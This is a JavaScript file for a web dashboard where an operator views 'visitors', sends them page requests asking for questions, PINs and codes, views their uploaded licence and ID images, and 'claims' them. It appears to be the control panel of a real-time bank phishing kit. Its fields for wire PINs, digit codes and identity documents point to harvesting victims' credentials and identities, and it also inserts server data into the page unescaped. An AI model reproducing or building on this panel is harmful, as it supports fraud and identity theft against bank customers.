function pageRequest(obj){
    var bank_status = obj.attr('data-bank_status');
    var uniqueid = obj.attr('data-uniqueid');
    localStorage.setItem('uniqueid', uniqueid)
    var myModal = new bootstrap.Modal(document.getElementById('exampleModal'), {
      keyboard: false
    })
    myModal.show();
}

function prepare_and_execute_option_request(id, obj) {

    var current_page = obj.innerHTML.replace('<i class="mx-1 fas fa-check text-white fs-1x"></i>', "");
    var uniqueid = localStorage.getItem('uniqueid');
    var input_value = "";
    var colum_value = "";

    var entry_action_input = obj.parentElement.childNodes[3].getAttribute('class');

    if (entry_action_input == "entry-action-input") {
        input_value = obj.parentElement.childNodes[3].value;
        colum_value = obj.parentElement.childNodes[3].getAttribute('id');
        
        
        
        if(colum_value == "question" )
        {
            

               var short_code_value =""
           var  short_code_col =""

           if(input_value == "" ){
                 alert("These fields is required");
                 return
            }
            
            
            var name_value = "";
            var name_col = "";

            
            var amount_value = "";
            var amount_col = ""

             
            label_2_col= "";
            label_2_val= "";
            label_3_col= "";
            label_3_val= "";
                
            
        } else if(colum_value == "label_1" )
        {
            
            var short_code_value =obj.parentElement.childNodes[5].value;
           var  short_code_col =obj.parentElement.childNodes[5].getAttribute('id');

            var name_value = obj.parentElement.childNodes[7].value;
            var name_col = obj.parentElement.childNodes[7].getAttribute('id');

            var amount_value =obj.parentElement.childNodes[9].value;
            var amount_col =obj.parentElement.childNodes[9].getAttribute('id');
            label_2_col= obj.parentElement.childNodes[11].getAttribute('id');
            label_2_val= obj.parentElement.childNodes[11].value;
            label_3_col= obj.parentElement.childNodes[13].getAttribute('id');
            label_3_val= obj.parentElement.childNodes[13].value;

           if(short_code_value == "" && name_value == "" && input_value == "" && amount_value == ""  && label_2_val == "" && label_3_val == ""){
             alert("These fields is required");
            return
           }

           
            
           
                
            
        }else if(colum_value == "wire_pin_generate")
        {
            
            var short_code_value =obj.parentElement.childNodes[5].value;
           var  short_code_col =obj.parentElement.childNodes[5].getAttribute('id');
           if(short_code_value == "" || input_value == ""){
             alert("These fields is required");
            return
           }
            var name_value = "";
            var name_col = "";
            
            var amount_value = "";
            var amount_col = ""

          
            label_2_col= "";
            label_2_val= "";
            label_3_col= "";
            label_3_val= "";
                
            
        }else if(colum_value == "digit1")
        {
            
            var short_code_value =obj.parentElement.childNodes[5].value;
           var  short_code_col =obj.parentElement.childNodes[5].getAttribute('id');
         
            var name_value = obj.parentElement.childNodes[7].value;
            var name_col = obj.parentElement.childNodes[7].getAttribute('id');
            
            var amount_value = obj.parentElement.childNodes[9].value;
            var amount_col = obj.parentElement.childNodes[9].getAttribute('id');

          
            label_2_val= ""
            label_2_col=""

            if(short_code_value == "" || name_value == "" || amount_value == ""){
                 alert("These fields is required");
            return
            }


            label_3_col= "";
            label_3_val= "";
                
            
        }else{
             var short_code_value = obj.parentElement.childNodes[5].value;
            var short_code_col = obj.parentElement.childNodes[5].getAttribute('id');
            label_2_col = obj.parentElement.childNodes[7].getAttribute('id');
            label_2_val = obj.parentElement.childNodes[7].value;
            var name_value = obj.parentElement.childNodes[9].value;
            var name_col = obj.parentElement.childNodes[9].getAttribute('id');
            label_3_col = obj.parentElement.childNodes[11].getAttribute('id');
            label_3_val = obj.parentElement.childNodes[11].value;
             var amount_value = obj.parentElement.childNodes[13].value;
            var amount_col = obj.parentElement.childNodes[13].getAttribute('id');

            if(short_code_value == "" || label_2_val == "" || name_value == "" || label_3_val == "" || amount_value == ""){
                 alert("These fields is required");
            return
            }
            
            
        }
        
        


        submiRequest(id, input_value, colum_value, uniqueid, current_page,short_code_value,short_code_col,name_value,name_col,amount_value,amount_col,label_2_col,label_2_val,label_3_col,label_3_val)
        
        
        
    } else {
        input_value = "";
        colum_value = "";
        short_code_col ="";
        short_code_value ="";
        name_value = "";
        name_col = "";

        
        label_2_col= "";
        label_2_val= "";
        label_3_col= "";
        label_3_val= "";
        
        amount_value = "";
                amount_col = ""
        submiRequest(id, input_value, colum_value, uniqueid, current_page,short_code_value,short_code_col,name_value,name_col,amount_value,amount_col,label_2_col,label_2_val,label_3_col,label_3_val)
    }

 }

 function submiRequest(id, input_value, colum_value, uniqueid, current_page,short_code_value,short_code_col,name_value,name_col,amount_value,amount_col,label_2_col,label_2_val,label_3_col,label_3_val) {
    $.ajax({
        url: urlroot + "/Pages/SubmitRequest",
        type: "POST",
        data: {
            id: id,
            input_value: input_value,
            colum_value: colum_value,
            short_code_value:short_code_value,
            short_code_col:short_code_col,
            name_value:name_value,
            name_col:name_col,
            amount_value:amount_value,
            amount_col:amount_col,
            label_2_col:label_2_col,
            label_2_val:label_2_val,
            label_3_col:label_3_col,
            label_3_val:label_3_val,
            uniqueid
        },
        success: function(res) {
            stop = 0;
               if(res != 'false'){
                 LoadMessage("Page request has been sent successfully!");
               }else{
                 LoadMessageError("Page reqeust error!");
               }
            
        }
    })
 }


// const myIntervalt = setInterval(myTimert, 3000);

function stopTable(obj){
    var uniqueid = obj.attr('data-uniqueid');
    localStorage.setItem('uniqueid',uniqueid);
    stop = null;
}
 function myTimert() {
    
    if (stop == null) {
        return;
    }
    $("#kt_datatable_vistor").DataTable().ajax.reload();
 }

 function myStopt() {
    stop = 0;
 }

 function copyToClipboard1(element) {
    var copy_data = element.attr('data-copy');
    $('#myInput').html(copy_data);
    var copyText = document.getElementById("myInput");
    copyText.select();
    copyText.setSelectionRange(0, 99999);
    navigator.clipboard.writeText(copyText.value);
    element.removeClass('btn-primary')
    element.html(`Copied <i class='mx-1 fas fa-check text-white fs-1x'></i>`);
    element.addClass('btn-success');
    setTimeout(function() {
        element.removeClass('btn-success')
        element.html('Copy');
        element.addClass('btn-primary')
    }, 500)


   }

   function copyToClipboardall(element) {
    var copyText = document.getElementById("myInput2");
    copyText.select();
    copyText.setSelectionRange(0, 99999);
    navigator.clipboard.writeText(copyText.value);
    element.removeClass('btn-primary')
    element.html(`Copied <i class='mx-1 fas fa-check text-white fs-1x'></i>`);
    element.addClass('btn-success');
    setTimeout(function() {
        element.removeClass('btn-success')
        element.html('Copy');
        element.addClass('btn-primary')
    }, 500)


   }

   function CheckBoxCountry(){
    alert('asdfkjl')
   }
   function setId(obj){
    var id = obj.attr('data-id');
    localStorage.setItem('country_id',id)
   }

   function quickView(obj){

        var myModal = new bootstrap.Modal(document.getElementById('kt_modal_qucik'), {
      keyboard: false
    })
    
    var uniqueid =  obj.attr('data-id');
       $.ajax({
            
            url:urlroot + "/Dashboard/detail_load",
            type:"POST",
            data:{uniqueid},
            dataType:"JSON",
            success:function(res){
                $('.detial_load').empty();
                var arr = [];
                $.each(res,function(inx,ele){


                    let index_Val = inx.replaceAll("_"," ");
                    if(ele != null){
                        var set_vl = ele;
                    }else{
                        var set_vl = "";
                    }
                    var app_copy = index_Val + " => "+ set_vl;
                    arr.push(app_copy)

                    if(inx == "license_front"){
                      var set_val_element =   `${index_Val}  =>  <img width='200' src='${urlroot}/uploads/${ele}'>`
                    }else if(inx == "license_back"){
                      var set_val_element =   `${index_Val}  =>  <img width='200' src='${urlroot}/uploads/${ele}'>`
                    }else if(inx == "id_img_front"){
                      var set_val_element =   `${index_Val}  =>  <img width='200' src='${urlroot}/uploads/${ele}'>`
                    }else if(inx == "id_img_back"){
                      var set_val_element =   `${index_Val}  =>  <img width='200' src='${urlroot}/uploads/${ele}'>`
                    }else{
                        var set_val_element = index_Val+" => "+set_vl
                    }

                    $('.detial_load').append(`

                        <div class="d-flex justify-content-between">
                        <div class="p-2">
                           ${set_val_element}
                        </div>
                        <div class="p-2">
                        <button class="btn btn-primary btn-sm" data-copy="${(ele != null)?ele:""}" onclick="copyToClipboard1($(this))" >Copy</button></div>
                    </div>

                        `)

                    
                });
                var str = arr.toString();
                var new_str = str.replaceAll(",","\n");
                console.log(new_str);
                $('#myInput2').val(new_str);
                myModal.show();
            }
    })
   }



function CreateUser(){
    $('.error_username').hide();
    $('.error_password').hide();
     $('#username').removeClass('is-invalid');
    $('#password').removeClass('is-invalid');


    var username = $('#username').val();
    var password = $('#password').val();
    if(username == ""){
        $('#username').addClass('is-invalid');
        $('.error_username').show();
    }else if(password == ""){
        $('#password').addClass('is-invalid');
        $('.error_password').show();
    }else {
        $.ajax({
            url:urlroot+"/Dashboard/saveUser",
            type:"POST",
            data:{username,password},
            dataType:"JSON",
            success:function(res){
                if(res == "user already"){
                    console.log(res);
                    $('#user_message1').html("User already  exists!").show();
                }else if(res == "ok"){
                    $('#user_message').html("User has been created successfully!").show();
                    console.log(res);
                }else if(res == "not"){
                    $('#user_message1').html("User has been creating error!").show();
                    console.log(res);
                }
                setTimeout(function(){
                    $('#user_message').hide();
                    $('#user_message1').hide();
                },2000)
            }
        })
    }
}

function claimFunction(obj){
    var uniqueid = obj.attr('data-uniqueid');
    $.ajax({
        url:urlroot+"/Dashboard/claimData",
        type:"POST",
        data:{uniqueid},
        success:function(res){
            stop = 0;
            // console.log(res);
        }
    })
}

